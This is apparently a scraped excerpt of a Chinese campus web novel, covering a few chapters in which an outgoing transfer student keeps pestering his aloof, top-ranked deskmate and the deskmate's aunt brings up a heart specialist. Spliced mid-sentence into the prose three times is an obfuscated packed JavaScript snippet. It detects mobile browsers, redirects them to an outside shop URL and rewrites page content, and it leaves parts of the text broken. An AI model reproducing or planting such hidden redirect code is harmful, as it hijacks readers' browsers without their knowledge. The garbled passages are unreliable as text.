傅闻听目不斜视地往前走,面无表情说:“我觉得我们并没有熟悉到可以互相等彼此放学的程度,同学。” 他刻意加重了末尾两个字的发音,试图让谢知跃知难而退。 偏偏后者这会儿已经认定傅闻听是个嘴硬心软的好人,单是肯让他抄卷子这一点,就足以推翻谢知跃之前对他的所有坏印象。 面对傅闻听的刻意冷漠,谢知跃毫不在意,快走两步和他并肩。 两人一起走出校门,午高峰的人流量几乎将马路挤得水泄不通,周围时不时还有接送孩子的家长骑着电动车开过。 回程的公交要在对面的站台坐,隔着一条马路,谢知跃自然地和傅闻听在斑马线上停下脚步。 等待红灯的间隙,他随口接上刚刚的话:“但你看咱俩多有缘,就见过一面,结果不仅是同一所学校,还正好是同桌!” 两句话又给他说美了,喜不自禁地就想伸手去揽傅闻听的肩膀。傅闻听敏锐察觉到了他的意图,皱了皱眉,本能地躲开了谢知跃的胳膊。 他深吸一口气,面色不善地抿了抿唇,忍无可忍地看向谢知跃:“你到底想干什么?” “交个朋友呗!”谢知跃从善如流,“你看我们俩这么有缘,万一以后还在一个班里呢?” 他继续叽叽喳喳:“你不是忘记我叫什么了吗?我叫谢知跃,就是那个谢大哥我这辈子没说过谢字的那个谢,知是知道的知,跃是……” “我觉得我们没有互通姓名的必要。”傅闻听面无表情地直接打断他,“我也不会和你在一个班里。” 就凭那道翻译题,如果真有那天,他宁愿相信改卷老师也和谢知跃的爸爸哥哥一起被冤枉了。 不然哪儿产生的这么大的共鸣? 撂下这么一句,正好信号灯转绿,他毫不犹豫地加快步伐,大步流星往前走。 “诶!等等……”谢知跃愣了愣,还没反应过来,正要追上去,面前就被一大群结伴路过的学生挡住了路。 他被迫停下脚步,等蜂拥的人流散去,再一晃眼,眼前已经不见了傅闻听的身影。 躲得这么快? 谢知跃困惑地摸了摸后脑勺,纳闷自己有这么令人讨厌吗? …… 傅闻听到家的第一件事就是洗手。 温热的水流淌过指节,留下点点水痕。掌侧不知道什么时候沾上了一点墨渍,顺着姻缘线的纹路洇开,看起来已经干涸了许久。 傅闻听难得盯着掌心出神。 厨房里传出声音,一个约莫二三十岁的年轻女人从玻璃门里探出头:“听仔,中午有你喜欢的可乐鸡翅,快来端饭。” 傅闻听回过神,应了声好,低头毫不犹豫地洗掉了这点印子。 从墙上抽了两张纸巾,他擦了擦掌心,走到厨房拿了碗筷。 电饭煲停留在保温模式,傅闻听按着锅盖微微松手,让蒸腾翻涌的热气从两侧的缝隙里溜走。 灶台边,江挽月手忙脚乱地把一锅玉米排骨汤从砂锅里盛出来。 甜玉米和胡萝卜切成大段的块状,浮出汤面的部分泛着零星几点莹润的油花,热腾腾的香甜气息不断往上飘,遮得人眼前一片白雾茫茫。 江挽月正要去端,指尖一抖,不慎碰到锅沿,她当即被烫得倒吸一口凉气,嘶了两声,匆匆放下锅盖捏住耳垂。 听见声音,正在盛饭的傅闻听停下动作,回头看了一眼,忍不住皱眉:“我跟你说过多少次让我来端,你……” “哈哈……”江挽月有点尴尬地笑了两声,连忙心虚地用布裹住汤锅把手,匆匆端到餐桌上,“我这不是想着顺手吗?” 傅闻听没好气地翻了个白眼,重重合上锅盖,把碗筷放在她面前。 两人面对面坐下,隔着餐桌,江挽月把自己眼前的可乐鸡翅和傅闻听面前的清炒秋葵掉了个方向,一边转移话题:“怎么样?今天的分班考试?” 提到这个,傅闻听下意识皱了皱眉。 察觉到自己的反应有点明显,他抿唇,动作自然地点了点筷身,若无其事道:“和以前一样,没什么区别。” “哦……”江挽月单手撑着下颌,一边若有所思地打量他的脸色,迟疑片刻,还是忍不住张了张嘴:“对了,你妈今天打电话来了。” 傅闻听捏着筷子的手一顿,眨了下眼睛,声音平静:“她? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070762|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她打电话来干嘛?” “你妈说之前问过的那个德国的心脏专家最近要来国内开交流讲座,她让人递了你的情况过去。” 看他没什么反应,小姨抿唇,筷子游移不定地停在碗沿,“那个专家看完你的片子,说最好面诊一下。他正好下周一有空……” 听到这里,傅闻听拿着筷子的手一顿,面色不虞地停下动作,“我下周一开学。” “这……”小姨有些心虚地咽了咽口水,试图找补,“可能那个专家确实是太忙了?要不再请假半天?” “呵。”傅闻听的表情始终平静,闻言也只是扯了扯嘴角,“是真的只有下周一有空,还是只觉得周一比较方便?” 小姨没再说话,讪讪地用筷尖戳了戳碗里的米饭,沉默了一会儿,才弱弱解释:“最近公司里事多,你妈忙着出差。” “哦。”傅闻听不咸不淡地应了一句,表情却显露出一丝嘲讽。 察觉到他隐隐有些排斥的态度,江挽月叹了口气,没再多说什么。 毕竟是这对母子私下的事,她再怎么说破嘴皮子都没用。 可偏偏一个是亲姐姐,一个是亲外甥,江挽月夹在中间左右为难,被困扰得老是掉头发,最近甚至开始怀疑自己有英年早秃的倾向。 刚想再叹口气,江挽月鼻尖忽然一阵发痒,她下意识把头偏向餐桌外,冷不丁地打了个喷嚏。 揉了揉有些发红的鼻子,江挽月吸了吸鼻涕,还没反应过来,面前的傅闻听已经推开椅子起身,在厨房的冰箱里翻找出药盒。 江挽月刚准备说什么,眼前就递过来一盒感冒胶囊。傅闻听把手里端着的杯子搁在她面前,皱眉看着她吃下药:“感冒了?” 氤氲上浮的热气烘白了杯壁,暖得人心头一热。江挽月握着暖手的玻璃杯,忍不住由衷地发出感慨:“还是我们家听仔贴心啊,也不知道以后哪个可爱的小姑娘能享受到这么贴心的服务~” 傅闻听忍不住扯了扯嘴角,无语地翻了个白眼:“一把年纪能不能别贫了,我前两天从中午开始就提醒你晚上会下雨,你是不是又没带伞?” 被他一句话点破,江挽月有点心虚,嘿嘿嘿地干笑了几声,打算蒙混过去:“哎呀,那雨又下得不大,我在英国遇到这种雨天都不撑伞的,哪有这么容易生病,这顶多就是换季常见的一点小流感……” “英国人秃头你也要跟着一起秃?”傅闻听抬手把一袋感冒灵冲剂倒进热水杯里,毫不留情地打断她,“本来头发就没剩多少了,榕城什么温度你还不知道?” 暗叹自家外甥这性格也是祖传的嘴硬心软,江挽月连忙举手发誓下一次绝对不这样了,生怕脑门上的头发听得不顺心,今晚又要离家出走。 她一口气把药闷了,被苦得龇牙咧嘴,傅闻听没好气地从她手里拿过玻璃杯,拿进厨房放在水龙头下冲洗。 看他的心情似乎缓和了一些,江挽月拢了拢外套,倚在厨房门口看他洗杯子,一边试探道:“那周一?” 傅闻听放下玻璃杯的动作一顿。 大概是被早上的事情影响了状态,他今天的心情算不上很好。往常面对母亲的安排,他顶多面无表情地应一声,今天却破天荒地多说了两句。 意识到自己刚刚的情绪不佳,傅闻听轻呼了口气,扯过纸巾擦了擦手:“……算了。” 他面无表情地把纸团丢进垃圾桶:“找老师请半天假吧。” 8. 引无数美少女竞折腰的传奇男子 过了处暑,榕城的气温不降反升。 持续了一个星期的高温烤得路面发干,晴空一碧如洗,丝毫不见云团的踪影。 开学当天,谢知跃特意起了个大早。 叼着早餐从公交上跳下来,他艰难地从站台穿过挤得水泄不通的路口,两口把嘴里的包子吃掉。 不过走到校门口的两步路功夫,谢知跃手里就被塞满了一沓补习机构的宣传单。 他一边翻看一边念叨:“幼小辅导……小升初托管……中考冲刺?” 谢知跃纳闷地看了眼校门,一时间甚至有点怀疑自己是不是走错了地方,这不是高中吗? 困惑地挠了挠头,他随手选了张最厚实的折成纸扇,把其余的收进书包里,决定带回家折成垃圾桶。 时隔两天,公告栏边上依然满满当当地挤满了人。 好不容易从乱糟糟的人堆里钻进第一排,谢知跃费劲地探出半截脑袋去看分班表,还没找到自己的名字,一片混乱中不知道是谁伸出手,硬生生又把他按了回去。 “……” 谢知跃锲而不舍地重新探头出去,短短几秒又被人按了回来。 如此重复来回了七八次,谢知跃努力睁大眼睛,总算努力地在分班表上的高二四班那一列看见了自己的名字。 还不等松口气的功夫,一晃神,谢知跃惊讶地发现自己已经被挤到了五米开外。 他什么时候学会瞬移的? 谢知跃犹豫着要不要进去再看看傅闻听被分到了几班,但转头一看告示栏边上越来越多的人…… 反正卷子都写得大差不差,应该能分到一起去吧? 谢知跃掰着手指数了数,一个班级大概五十个人,他在四班,怎么着也算是进年段前二百了。 高一高二的学生都在一栋教学楼,每年的班级变动只变班牌不动学生,轮到他们这一届,高二学生正好分到低楼层。 楼梯口拐个弯就是高二四班,谢知跃长腿一跨就进了门,左右张望两下,班里已经来了不少学生,大多都凑在一起叽叽喳喳地聊天。 靠窗的最后一排还有两个空位,谢知跃连忙走上前,先把书包放在了里面的座位上。 前排的位置上坐着一男一女,正侧着身子闲聊,说着话,眼前却突然笼下一片阴影。 靠近窗户、带着方框眼镜的男生余光瞥见有人坐下来,动作明显一顿,连忙开口:“诶,那是……” 话音未落,他看清了谢知跃的脸,随即有些惊讶地转过上半身:“谢知跃?” 原想打招呼的谢知跃没料到会有人喊出他的名字,顿时有些惊讶,眯着眼睛再三确认自己真的不认识对方,这才若有所思地歪了歪头:“原来我真的已经这么出名了吗……” “哎呀,你不记得我了?”带着方框眼镜的男生干脆整个人都转到后排来,夸张地指了指脸,“我啊,易祈,初二那年咱俩一起参加过运动会,你还给我递过水呢。” 被他这么一提,谢知跃似乎想起什么,又仔细看了看易祈的脸,恍然大悟地一拍桌面:“咱俩一个初中的?” “对啊,你在六班我在四班,没想到这么巧!”易祈正兴致勃勃地讲着,说到这里又有些迟疑,疑惑道:“诶,不对啊,你当时不是考去三中了吗?” 这倒不是易祈刻意打听,主要是谢知跃在当时的学校算是个风云人物,在那个大部分人都处于颜值尴尬期、顶着一脸因为代谢过快闷出来的青春痘的年纪,人群中偏偏冒出谢知跃这么一张惨绝人寰的帅脸,活脱个鹤立鸡群的典范,很难不引人注目。 这也导致谢知跃当时被不少同龄男生鄙视,其中有些刺头更是嚣张,三天两头地找他麻烦,但后来被谢知跃揍了几次,从此就没了动静。 那会儿正流行什么清冷校草爱上我、嚣张校霸狠狠宠之类的小说,自从这件事传了出去,全年级的女生都轰动了,纷纷利用下课时间特意绕到谢知跃的班级门口装水,次次都堵得排起长队,好几次让易祈险些挤不进厕所。 据说当时还有不少高中部的学姐也闻风来看,总之是炒得沸沸扬扬,但身处风暴中心的谢知跃倒是没什么表示,以至于像易祈这种不怎么关心校内八卦的人,对于谢知跃最后的印象只是停留在他考进了三中这条消息上。 “害,转学了呗。”谢知跃不甚在意地摆摆手,挨着窗边坐下和他聊天,“在三中一点意思都没有,打了两回架,还不小心揍到了副校长的外甥。” “……” 每一句话都很符合易祈对于谢知跃本人的理解,但他也知道三中有多难考上去,难免惋惜地啧了一声,“就因为这个让你从三中转学?这也太没道理了吧?” 坐在他边上的女生默默听了半天,听到这里也跟着叹气,“我中考也想冲一下三中的,可惜差了两分。” 提到学校,众人不约而同地被勾起了一部分伤心事,想来足足过去了一年还耿耿于怀着。 “反正我是不适合三中。”谢知跃耸了耸肩,一副苦大仇深的样子,“老师也无聊,同学也无聊,而且连自习课都不让你聊天,上课下课也不让你讲话,否则就罚站……” 自从上学期选完科,原先班级里的大部分学生都被分开,只剩一部分互相认识的同学,其中大多都在互相认识的阶段慢慢熟悉。 从谢知跃进门的时候就有人注意到了他,忍不住也凑上前看看。一时半会儿的功夫,他们的课桌边上就围了一圈人,听谢知跃绘声绘色地讲三中的日常生活。 这些人中有大半都是当初险些就考上三中的,听到一些特别严苛的规定,都没忍住倒吸一口冷气。 有人忍不住发问:“听说三中那边的女生要把头发剪到耳朵上面,真的假的啊?” “连午休的时候都要上课?中午就半小时吃饭怎么回家啊……” “诶,他们是不是从高一开始就强制晚自习了?” “……” 众人冲着谢知跃你一言我一语地讲话,后者还没来得及一一解答,班级的大门被人轻轻敲了两下,一个约莫三十上下的年轻女老师进了门,走上讲台轻咳了两声。 谢知跃和易祈边上围着的人瞬间作鸟兽散,一窝蜂地回到了各自的位置上。 进来的女老师叫万瑜,是四班的新班主任。虽然看起来年纪轻,但似乎是刚从别的高中调来的金牌教师。 谢知跃一边听易祈低声八卦,据说她本来没那么快打算带新的班级,奈何原先四班的班主任匆匆离职,只能让她先顶了上来。 短暂的自我介绍后,她拿起高二四班的名单表,挨个点名字对人脸。 一直到万老师收起名单,谢知跃也没听见傅闻听的名字。 从头到尾都没看见对方的人影,他当即有些失望,不由得陷入思考。 难道他最后在交卷前改的那几题真的起到了至关重要的作用?让他一举超越了傅闻听? 谢知跃百思不得其解,琢磨着过会儿要不要趁机溜到隔壁班找找看。 感觉自己平常的运气也没那么好啊? 没等他想个明白,万老师就让剩下的男生先去图书馆搬书,女生们则留下来做一些粗略的卫生清理。 稀稀拉拉的椅子擦地声响起,众人相继起身。 图书馆在高三的教学楼边上,离教室还有点距离。 毕竟是同上一所初中的交情,谢知跃和易祈很自然地结了伴,两人领完书,一人抱着高高一摞,慢悠悠地又往教室走。 八中依山而建,上下坡势高低错落,大路小路各有楼梯相连。为图方便,众人回程走的不是来时的那条路。 穿过高三楼的回廊,从拐角处下了几层台阶,眼前的画面一瞬间豁然开朗。 覆盖了整片天空的树冠被蓝紫色的花朵淹没,层层叠叠的杯状花瓣一簇一簇地垂在枝头,堆得几乎看不见枝叶的绿,被风一拂就像波浪一样漾开,摇摇晃晃地飘落,铺满了整片石砖地面。 丝丝缕缕的晨光从花叶的缝隙落进来,悠悠荡荡地裹着蓝紫色的雾,就像一大团随时会飘走的烟云。 谢知跃不由得愣了愣,脚下一顿,忍不住抬头去看,琢磨着放学的时候要不要想办法摘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070763|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两枝回去带给他妈。 易祈见他看蓝花楹看得出神,凑到他身边问道:“好看吧?” 谢知跃还没来得及应声嗯,就看见易祈感慨万千地叹了口气:“好看也没用,下面是咱们包干区。” “……” 谢知跃低头看了看眼前落得无边无际的花丛,以及被踩得满地狼藉的地面,陷入了罕见的沉默:“……操。” . 回到班里,几个女生还在忙着拖地板,班长带着一些男生把挪开的桌椅搬回去。 男生们把搬来的书放在讲台和桌上,班主任万老师接过书单对了对数量,又喊了几个原先的班委上来帮忙发书。 谢知跃自告奋勇地举手参与,众人抱着书刚要散开,班主任忽然想到什么,示意几人等一等。 她拿起放在讲台上的座号表看了看,又对了一遍人数,犹豫了两秒,指了指第四组最后一排、也是班里最后一个空位道,“有个同学请假了,你们给他留一本放桌上吧。” 抱着书的几人稀稀拉拉地应了声好,谢知跃抽空抬头看了班主任指的位置一眼,乐了,那不就是他边上的座位吗? 快速给其他同学发完怀里的书,他刻意留了两本,走到桌边低头看了眼,毫不犹豫地把有折痕的那本放到自己桌上,另一本品相更好的留给未来的同桌。 易祈看他一通大公无私的操作,好奇道:“你认识傅闻听?” 闻言,谢知跃动作一顿,疑惑地歪了歪头,“谁?傅闻听?” 他思考了两秒,总算把读音对上字:“我听见雨滴落在青青草地的那个听?” 易祈噎了一下,头一回见到有人这么介绍字,迟疑片刻:“对,就是这个听,闻就是那个闻王昌龄左迁龙标遥有此寄的那个闻……” 叽里咕噜说的啥,谢知跃没听懂,但八成知道此傅闻听就是彼傅闻听,非常乐观地拍了拍易祈的肩膀:“那应该就是同一个人,怎么?你也认识他?” 听见这话,易祈瞪大眼睛,震惊到像是在看一个蜗居山顶多年的原始野人:“这很难不认识吧?” 他似乎反应过来什么,犹豫道:“你说的傅闻听和我说的傅闻听是一个人吗?” 不理解他的反应为什么这么大,谢知跃皱了皱眉,迟疑着和他形容:“就那个长得很好看的,人很高腿也很长,白白净净的,我感觉也不是大众脸吧?” 他有些疑惑,反应过来什么,试探着开口:“难道他很有名?” “……” 易祈为他的无知险些失语,震惊得爆了个粗口,一拍大腿:“我靠,简直是有名的没边了好吗?” “从初中开始,蝉联所有市模拟联赛的第一名,中考全市第一名,高一全市模拟考第一名,刷新了榕城高中历年以来的最高分记录,自入学以来从来没掉下过三中年段第一的男人。帅到惨绝人寰,让无数美少女竞相折腰的传奇男子——” 易祈叽里呱啦一口气地说了一串头衔,复杂程度堪比大冰老师的自我介绍。 稀里糊涂地摄入了这么一大段有关傅闻听的传奇经历,谢知跃听得有些晕头转向,只知道傅闻听好像确实很牛逼。 与此同时,他也很快反应过来一件事。 易祈眼睁睁看着眼前持续陷入石化状态的呆滞友人——谢知跃忽然瞪大眼睛,猛地站起身来,破天荒地爆了句粗口。 “卧槽!” 谢知跃冷不丁打了个激灵,灼灼目光迅速看向易祈,眼神里带着点急不可耐的急切:“……这里是普通班对吗?” “……” 易祈被他的反应搞得有些摸不着头脑:“你说什么呢?” 他茫然地挠了挠后脑勺,理所当然地开口,“这里怎么会是普通班?这里是实验班啊。” 生怕谢知跃没听清,易祈还着重强调了一下:“重点实验班。” 谢知跃:“……” 此时此刻,他终于恍然大悟,总算意识到一个非常关键的问题。 ……他大概不止给他姐挣了个年段前二百名,可能还挣了个年段第二名。 9. 其实他还挺好说话的 得知这一可能性,谢知跃一只手捂住胸口,被刺激得心脏砰砰直跳。 仿佛有一座喜马拉雅山那么沉重的压力从天而降,又重又稳地落在他肩上,硬生生地把他捶进了马里亚纳大海沟。 看他突然抓着心口,一副喘不上来气的样子,易祈吓了一跳:“你咋了?心脏不舒服?” 坐在他边上的女生听见动静,也跟着转过头,满脸紧张地看过来。 谢知跃摆了摆手,艰难地挤出一个笑脸:“没事,我就是一想到在座的各位都是学霸,心中竟隐隐升起一丝压力。” 到时候成绩单被发给家长,他姐看看别人的成绩再看看他的成绩……一想到这点,谢知跃连笑都笑不出来了。 “吓死我了,我还以为你也……” 易祈长舒一口气,缓过来后又觉得有些好笑:“这你有啥好担心的,既然能进咱们班,说明你成绩还不错啊。” “……”谢知跃忍不住抽了抽嘴角。 “你说你分班考试坐在傅闻听边上,他还让你抄卷子?” 易祈满脸都写着怀疑人生:“不是?你说你俩真的不熟?” “对啊。”谢知跃把前因后果都和他讲了一通,十分坦然地摊开手,甚至隐隐有点庆幸,“唉,这么一想,我还是得感谢他,起码保住了零花钱。” 他奇怪易祈为什么这么惊讶,停顿了一下,“你们不是一直同班吗?他平常不这样吗?” “话是这么说没错,但这也太……”易祈有些犹豫,欲言又止。 谢知跃没察觉到他的异样,沉浸在回忆里若有所思,坚定地点了点头:“而且我感觉,其实他还挺好说话的。” “……” 易祈沉默两秒,忍不住开始怀疑自己:“难道我俩说的其实真不是一个人?” 一边思索着,他满脸狐疑地推了推同桌的女生,问她:“诶,你说咱们学校是不是还有叫傅闻听的?这名字也是大众款吗?” 同桌的女生忙着和隔壁组的人聊天,冷不丁被易祈打断,还问了个这么蠢的问题,忍不住翻了个白眼:“你傻屌啊?” 易祈:“……”他就说没人会相信吧! . 开学第一天,通常是上午报道领书,下午正常上课。 万老师第一次接手实验班,考虑到学生意愿问题,没有直接安排座位,让众人先这么坐,月考后再换位置。 八中大部分学生都是走读,只有极个别实在离家很远的学生才会申请住宿。但尽管是走读生,也有一些学生会选择中午留在学校吃饭。 谢知跃和易祈也不例外,一个是家里没人煮饭,一个是纯粹懒得回家,加上还有初中四舍五入等于同窗的情谊,两人一拍即合,共赴食堂享用午餐去了。 吃顿饭的功夫,二人又彼此发掘了不少相似的爱好,自觉情谊已经发展到好兄弟那一层了,从食堂出来又勾肩搭背地结伴回班。 回到座位上,谢知跃拉开椅子正要坐下,教室门口忽然有个男生探进头来,左右张望了一下:“谢知跃……谁是谢知跃?” 听见自己的名字,谢知跃连忙举起手,拔高声音:“这儿!” 看见人,那男生又喊道:“万老师让你跟我去办公室领校服。” 谢知跃匆匆应了声好,和易祈打了个招呼就走从后门出去,边走边和那个男生搭话:“诶,你也是咱班的吗?办公室就在这一层吗……” …… 楼梯拐角,傅闻听单肩背着包走上台阶。 正逢午休,走廊上大都是三三两两结伴同行的学生,靠在走廊的栏杆上吹着风,余光注意到傅闻听靠近的身影,大多都不约而同地往他的方向看了一眼。 毕竟是常年霸占光荣榜榜首的人物,年段第一,哪怕是不关注校园八卦的学生,多多少少也认识这张脸。 长得帅,成绩好,听说家世也一流,只可惜性格太差。这是目前校园墙上对这朵高岭之花流传最广的评价。 难得寡淡无味的校园生活能出一个风云人物,即便傅闻听从来没有给过任何人好脸色,但试图和他交朋友的人向来如潮水一样多,可惜都被其铜墙铁壁一样的态度挡了回去。 俗话说的好,高岭之花,只可远观而不可亵玩焉。 然而就算是这样,众人还是对傅闻听产生了不可避免的好奇,讨论他家境如何、个性如何的声音不在少数。毕竟这人不光不接触女生,连男的也不理会,似乎连一个朋友都没有。 面对周围时不时有人投过来、若有似无的注视,傅闻听下意识抿唇,只全当作没看见,目不斜视地穿过走廊。 从后门走进班级,他脚步不停,径直走到最后一组的最后一桌。 只是刚靠近,他忽地皱眉,注意到了另一边椅背上歪歪斜斜放着的黑色书包。 “……” 易祈正扭头和同桌说着话,感受到似乎有人在身后停下,他头也不回道:“怎么这么快就回来了,万老师有跟你说什……” 话没说完,易祈一个抬头和傅闻听对上视线。 “……” 傅闻听皱着眉头,面无表情地看了他一眼,朝那个东倒西歪的书包抬了抬下巴:“谁的?” “这……”易祈一时语塞,顿时有些懊恼,他居然完全把这尊大佛给忘记了。 他下意识站起身,迟疑两秒:“这学期有个新来的同学……” 不知不觉,其他同学似乎也察觉到这里的气氛有些玄妙,不约而同地对视一眼,都没敢说话。 就在易祈绞尽脑汁,费尽心思地想该怎么和傅闻听解释的时候,走廊外有个人影飞一样窜进后门,撞得铁门一抖,簌簌落下灰来。 谢知跃抱着厚薄不一的四叠衣服走进门,低头研究着怎么拆开包装袋,一边扯着嗓子喊道:“易祈,你说我要不要直接穿上试试看,我感觉这码数是不是有点大了……” 话音未落,连他都感受到班级里的气氛不太一样,后知后觉地抬起头,一瞬间对上不少双眼睛。 眼看不少同学心惊胆战地看着自己,谢知跃难得有些迷茫:“嚯,怎么这么安静……” 这才开学第一天,他也没犯事啊? 等他等到花儿都谢了,易祈一个倒吸凉气,拼命给他使眼色。 接收到易祈坚持不懈的媚眼,谢知跃回过味来,视线一偏,总算看见易祈身前那道有些熟悉的背影。 正巧傅闻听这时转过头来,二人对上视线,不约而同地同时一默。 盼了大半天,总算把人盼来,谢知跃大喜过望,三两步走上前,啪嗒把怀里的衣服往桌上一推,反手就勾上了傅闻听的脖子,”同桌!你终于来了!” 傅闻听在看见谢知跃的那一刻已经黑下了脸,皱着眉头,完全搞不懂这个家伙为什么也在这里。 没等谢知跃再搭话,他伸手把谢知跃揽在自己肩膀上的胳膊拽下来,黑着一张脸:“你为什么在这里?” “都是缘分啊!”谢知跃丝毫不计较傅闻听刚刚的动作,咧着嘴角收回手,左右看了一圈,小心翼翼地附在傅闻听耳边悄声说:“我还没感谢你上次借我抄卷子,没想到你这么牛叉!” 傅闻听:“……” 他后知后觉地反应过来,眼皮一跳:“……你把整张卷子都一模一样地抄了一遍?” 谢知跃很不赞同地啧了一声:“你怎么会这么想?” 他顿了顿,一副胸有成竹的表情,自豪道:“我改了三道题呢。” 傅闻听:“……” 面对面沉默三秒,谢知跃突然意识到什么,有些狐疑:“难道你不是这么暗示我的?” 傅闻听直接把答题卡塞给他的用意难道不是放心、大胆、全部抄吗? “……” 傅闻听深吸一口气,只是莫名觉得有股深深的无力感。 四周的同学见他们没有发生冲突,反而看着平静地聊起天来,不约而同地松了口气,纷纷把头转回去各干各事。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070764|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢知跃侧身绕过挡在前面的傅闻听,顺手把刚刚领到的四叠校服推到靠里的桌面上,紧接着迫不及待地坐下,拍了拍身边的空位,满脸期待:“来,同桌,快坐下吧。” 对上他亮得晃眼的眼睛,傅闻听眼皮忍不住一跳,低头看了眼位置:“谁让你坐在这里的?” 谢知跃这回理直气壮地举手反驳:“你认真看看,班里可没有其他空着的位置了。” 环顾四周一圈,傅闻听后知后觉地确认了这个事实,气得无话可说,站在原地生了半分钟闷气。 总算迎来自己的新同桌,谢知跃高兴不已,锲而不舍地拍着椅面呼唤他坐下:“快坐下啊同桌,快坐下,再过一会儿要上课了同桌,同桌……” 被他叽叽喳喳的声音吵得额角直跳,傅闻听忍无可忍地深吸一口气,打断他:“我坐下来可以,你能不能别讲话了?” 谢知跃连忙做了个给嘴巴上拉链的姿势,示意他赶快坐下来。 傅闻听扯了扯嘴角,刻意把椅子往外拖了拖,顺手把书包挂在椅背后面。 无视谢知跃那张笑嘻嘻的脸,傅闻听板着脸坐下,低头习惯性摸了摸抽屉。 意识到哪里不对,他皱眉看向前排:“易祈,我的书呢?” 易祈愣了一秒,不太确定地看向谢知跃。 他记得自己早上好像看见了谢知跃把书放进傅闻听的抽屉,这会儿却有些犹豫不定:“书?书不在抽屉……吗?” 顺着他的视线,傅闻听也看向谢知跃,第一反应又是这家伙在搞什么鬼。 “……” 对上两人的目光,谢知跃很是无辜地耸了耸肩,指了指傅闻听又指了指嘴巴,示意自己不能开口。 傅闻听:“……你现在可以说话。” 得到许可,谢知跃挑挑眉,不忘贱兮兮地朝易祈挤眉弄眼,神情中隐隐带着几分得意。 他一边慢悠悠地在抽屉里翻找,声音清朗:“噢,你早说啊,在我这儿呢,我怕你的书落灰,所以……” 傅闻听忍不住打断他:“……我记得我只请假了半天。” 不是半年。 谢知跃哪儿管得上那么多,继续从抽屉里掏出书来。 一叠又一叠课本摞得高高的,险些在桌面上堆成了一座小山。 傅闻听懒得多看他一眼,抿着薄唇,把谢知跃搬上桌面的书往自己抽屉里塞。 高二的大部分内容他已经自习了一半,关于教材的数量他心里也有定数。直到所有书都放进抽屉,傅闻听眉心一皱,发现数量不对。 很快,他抬起头看向谢知跃,表情不愉,声音冷冷:“生物书呢?” 谢知跃单手撑着脸颊,和他装傻充愣,“啊?什么?我不是拿给你了吗。” 傅闻听没说话,只是面无表情地盯着谢知跃看。 和他大眼瞪小眼半天,谢知跃总算败下阵来,缓缓把从头到尾都塞在书桌里的手拿出来,有些遗憾道:“唉,我还想你会不会发现呢。” “……” 谢知跃刚把书递到一半,傅闻听已经伸手接了过来,轻轻一扯,发现没扯动。 ? 傅闻听皱眉看过去,谢知跃对上他的视线,不光没松手,抓着书脊稍稍一用力,将书带人又往自己的方向拽了下。 朝着傅闻听俏皮地眨了眨眼,谢知跃热情地和他商量:“诶,你看咱们又是同桌了,这么有缘,这回总该能交个朋友吧?” “……” “同桌?” “……” 对视两秒,傅闻听沉默着没说话,攥着书页的手上却用了点力气,重重往后一拽。 还没反应过来,谢知跃愣愣地诶了一声,被拽得一动,措不及防被他得了手。 傅闻听面无表情地把生物课本放回抽屉里,扯了扯嘴角:“不需要。” 他盯着谢知跃的眼睛,加重语气,冷冷强调了一遍:“我不想交朋友,我也不需要什么朋友。” 10. 他身体,有点问题 “你问其他班还有没有空余的桌椅?” 办公室里,万瑜看着眼前一下课就来找自己的学生,放下手里的资料,表情略显几分为难:“今年高一新生太多,其他年段剩的桌椅都搬过去了。” 她顿了顿,迟疑道:“上面虽然有换新桌椅的计划,但从头定制一批新的,最快也要再等一个多月。” 傅闻听没应声。 见状,万瑜抿了抿唇,只能先安抚他:“这样,老师留意一下那边的情况。如果看看其他年级有空闲的桌椅,就先安排给你,好吗?” 傅闻听沉默半晌,知道这事难有解决方案,只能轻轻点头:“嗯,好的老师。” 看着他离开办公室的背影,万瑜无奈叹了口气,低头又看了一眼刚刚放下的学生资料,正好就是傅闻听那一页。 一面屏挡之隔,和万瑜同期进来的新老师全程目睹了两人之间的交流。 等傅闻听一走,他立马好奇地凑上来:“诶,万老师,刚刚那个学生就是段长说的那个……” “对。”万瑜点点头,翻看着手里的档案记录,显而易见地有些发愁。 那老师理解她为什么苦恼,却只能开玩笑似地宽慰她:“我听说这孩子成绩可好,到时候说不定给你挣个状元回来呢。” 万瑜朝他笑了笑,随口应和了两句,将这个话题打发过去。 把注意力重新放回眼前的学生资料上,她沉吟片刻,在附页的备注栏写下一句:身体原因,不喜欢与人接触。 …… 换座位无果,傅闻听的心情是前所未有地差,整整一个下午都阴着脸没有说话。 自恃是个善解人意的好同桌,谢知跃见他从办公室出来之后就绷着一张脸默不作声,以自己的经验揣测对方肯定是因为什么被老师训了,搞不好还被骂得特别惨,于是特别体贴地没有凑上去自找麻烦。 